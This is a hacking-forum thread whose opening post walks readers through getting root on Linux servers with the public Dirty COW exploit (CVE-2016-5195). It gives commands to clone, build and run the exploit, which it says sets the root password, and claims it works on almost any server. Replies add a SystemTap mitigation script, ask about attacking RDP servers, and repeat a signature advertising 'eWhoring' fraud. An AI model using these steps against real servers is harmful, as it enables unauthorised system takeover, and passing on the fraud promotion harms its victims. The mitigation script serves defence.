Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TUTORIAL] How To Get Root Access to Any Server

How To Get Root Access to Any Server


Hello Hf! Today I will show you a simple way to get root access to almost any Linux server (at least it worked with every server I tried it with)

Step 1: Download

We will be using the so called 'Dirty cow exploit'
The github link for the exploit: https://github.com/gbonacini/CVE-2016-5195
To install it type
Code
git clone https://github.com/gbonacini/CVE-2016-5195
in the terminal


Step 2: Setup

Once you are done downloading it, navigate into the folder and you will see these files:

Code
changelog  CONTRIBUTING.md  dcow  dcow.cpp  makefile  README.md  version

run
Code
make clean
and when it is done run
Code
make

Step 3: Using the exploit

To run the exploit simply use:
Code
./dcow

It will then change the password to dirtyCowFun

Done, you should be able to login as root now!

For any questions regarding this, pm me!
As always, feel free to leave an honest feedback

PSEUCHO 🤝
Click Here Below - Start Banking With eWhoring - Beginners & Experts!
[Image: source.gif]
Seems pretty dope curious how well it works
There's actually a way to mitigate this attack on all affected servers. Unfortunately the number of affected servers is in the 10's, if not 100's of thousands.

To mitigate the dirty cow exploit you can use the following system tap script:

The SystemTap script is relatively small and efficient, broken into 4 distinct sections as follows:

Code
probe kernel.function("mem_write").call ? {
        $count = 0
}

probe syscall.ptrace {  // includes compat ptrace as well
        $request = 0xfff
}

probe begin {
        printk(0, "CVE-2016-5195 mitigation loaded")
}


probe end {
        printk(0, "CVE-2016-5195 mitigation unloaded")
}

First, the script places a probe at the beginning of the kernel function “mem_write” when called and not loaded inline:

Code
probe kernel.function("mem_write").call ? {
        $count = 0
}
Next, the script places a probe at the ptrace syscalls that disables them (this bit can impair antivirus software and potentially other kinds of software such as debuggers):

Code
probe syscall.ptrace {  // includes compat ptrace as well
        $request = 0xfff
}

Finally, the “probe begin” and “probe end” code blocks tell systemtap to add the supplied text to the kernel log buffer via the printk function. This creates an audit trail by registering in the system logs exactly when the mitigation is loaded and unloaded.

This solution works in all affected RHEL versions: 5, 6, and 7.

If you want me to remove this just let me know.
Earning for the year 2017:
super spooky
(Jan 19, 2017 09:21 AM)Papa Cuda Wrote:  There's actually a way to mitigate this attack on all affected servers. Unfortunately the number of affected servers is in the 10's, if not 100's of thousands.

To mitigate the dirty cow exploit you can use the following system tap script:

The SystemTap script is relatively small and efficient, broken into 4 distinct sections as follows:

Code
probe kernel.function("mem_write").call ? {
        $count = 0
}

probe syscall.ptrace {  // includes compat ptrace as well
        $request = 0xfff
}

probe begin {
        printk(0, "CVE-2016-5195 mitigation loaded")
}


probe end {
        printk(0, "CVE-2016-5195 mitigation unloaded")
}

First, the script places a probe at the beginning of the kernel function “mem_write” when called and not loaded inline:

Code
probe kernel.function("mem_write").call ? {
        $count = 0
}
Next, the script places a probe at the ptrace syscalls that disables them (this bit can impair antivirus software and potentially other kinds of software such as debuggers):

Code
probe syscall.ptrace {  // includes compat ptrace as well
        $request = 0xfff
}

Finally, the “probe begin” and “probe end” code blocks tell systemtap to add the supplied text to the kernel log buffer via the printk function. This creates an audit trail by registering in the system logs exactly when the mitigation is loaded and unloaded.

This solution works in all affected RHEL versions: 5, 6, and 7.

If you want me to remove this just let me know.

Thanks a lot for your contribution, why would I want you to remove this? 🤝
Click Here Below - Start Banking With eWhoring - Beginners & Experts!
[Image: source.gif]
Quite a well known exploit honestly, thanks for posting anyway.
[Image: E1dCw.gif]
(Jan 19, 2017 12:20 PM)PSEUCHO Wrote:  Thanks a lot for your contribution, why would I want you to remove this? 🤝

Well as much as it is good to know how to USE the dirty cow exploit it is also important to know how to protect against it :)
Earning for the year 2017:
super spooky
Quick question i amuse this is for kail Linux yes? second question is this could work on RPD server's as well am i correct?
(Jan 20, 2017 06:50 AM)DeathByHR Wrote:  Quick question i amuse this is for kail Linux yes? second question is this could work on RPD server's as well am i correct?

You don't need Kali for this, any distro will do. It will work on RPD servers running Linux and haven't protected against the exploit. I think.
[Image: E1dCw.gif]
will try this later. Anyone tried this yet?
(Jan 20, 2017 01:43 PM)Wizmo Wrote:  will try this later. Anyone tried this yet?

Most big names in the linux world like Debian, Ubuntu and RHL have already patched this.
[Image: E1dCw.gif]


Possibly Related Threads...
Thread / Author Replies Views Last Post
by DimebladeNov 24, 2018 09:25 AM 2 223 Nov 24, 2018 09:25 AM
Last Post: Dimeblade
by LtarmySep 9, 2017 10:25 AM 0 224 Sep 9, 2017 10:25 AM
Last Post: Ltarmy
by 如果你能抓住我Sep 8, 2015 10:26 AM 125 5,629 Sep 8, 2015 10:26 AM
Last Post: C0d3_X